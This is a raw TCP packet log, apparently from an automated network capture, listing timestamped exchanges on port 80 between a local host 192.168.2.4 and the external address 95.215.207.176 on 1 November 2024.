Nov 1, 2024 13:42:17.223540068 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223546982 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.223561049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.223581076 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.223906040 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223922968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223954916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223970890 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223969936 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.223990917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.223997116 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.224006891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.224014997 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.224028111 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.224046946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.224072933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.224088907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.224133015 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.224951029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225075960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225090027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225106955 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225122929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225130081 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.225137949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.225140095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225164890 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.225167036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225193024 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.225209951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.225227118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225265980 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.225930929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.225981951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226001978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226017952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226041079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226042032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226058960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226066113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226077080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226082087 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226092100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226095915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226111889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226119041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226129055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226130009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226152897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226167917 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.226936102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226953030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.226968050 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.227008104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.227013111 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.227029085 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.227039099 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.227044106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.227060080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.227068901 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.227077007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.227096081 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.227118969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.227989912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228004932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228020906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228037119 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228053093 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228055000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228061914 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228070021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228085995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228094101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228125095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228737116 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228753090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228770971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228780031 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228795052 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228807926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228811026 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228828907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228836060 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228844881 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228853941 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228868008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.228876114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228889942 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.228904009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.229799032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229814053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229830027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229845047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229870081 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.229870081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229887009 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229895115 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.229903936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229912996 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.229935884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229950905 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.229952097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229969025 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229984999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.229991913 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230000973 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230005980 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230019093 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230035067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230038881 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230045080 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230051041 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230070114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230073929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230091095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230097055 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230104923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230104923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230108023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230125904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230142117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230158091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230170012 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230197906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230473042 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230498075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230514050 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.230519056 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230537891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.230561972 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250180960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250196934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250212908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250227928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250241041 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250246048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250262022 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250269890 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250286102 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250294924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250300884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250315905 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250328064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250343084 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250344038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250360012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250366926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250375986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250387907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250394106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.250411987 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250416994 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.250437021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.253814936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.253829956 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.253844023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.253859043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.253868103 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.253897905 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.339545012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339561939 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339593887 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339608908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339624882 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339641094 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339688063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.339725018 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339740992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339756012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339777946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339782000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.339792967 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339808941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339824915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339840889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339857101 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.339864969 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.339926004 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.373543024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373558044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373574972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373584032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373590946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373598099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373609066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373616934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373625040 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373632908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373637915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373645067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373655081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.373857021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.377351999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.377367973 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.377383947 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.377401114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.377408028 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.377420902 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.377454042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.377471924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.377485991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.377523899 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.462760925 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462776899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462809086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462833881 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462850094 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462853909 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.462865114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462876081 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.462892056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462908983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462920904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462924004 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.462933064 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.462939978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.462963104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.462992907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.462986946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463020086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463037014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463053942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463058949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.463072062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463080883 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.463093996 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.463113070 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.463116884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463133097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463148117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.463175058 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.463203907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.496776104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.496792078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.496805906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.496831894 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.496854067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.496891022 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.496978998 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.496995926 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497030020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.497037888 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.497061968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497077942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497093916 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497113943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.497119904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497119904 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.497137070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497152090 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497168064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.497176886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.497189999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.497216940 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.500691891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.500715971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.500734091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.500754118 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.500781059 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.542186022 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.542201996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.542211056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.542428017 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586335897 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586354017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586369991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586393118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586409092 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586417913 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586422920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586441994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586456060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586456060 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586467981 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586472034 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586488008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586497068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586503029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586519957 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586524963 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586539984 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586561918 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586563110 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586575031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586611032 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586611986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586627960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586642981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.586671114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.586688995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620274067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620563030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620577097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620594025 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620606899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620621920 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620629072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620639086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620666981 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620690107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620884895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620907068 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620923996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620932102 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620939970 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620950937 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620955944 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620973110 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.620978117 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620984077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.620989084 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.621001959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.621006966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.621012926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.621017933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.621032953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.621037960 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.621048927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.621059895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.621089935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.624207973 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.624259949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.624269962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.624283075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.624299049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.624322891 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.624336958 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.666002035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.666018009 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.666033030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.666048050 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.666059017 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.666093111 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710155010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710186958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710201979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710216999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710232019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710247993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710263014 CET	80	49754	95.215.207.176	192.168.2.4
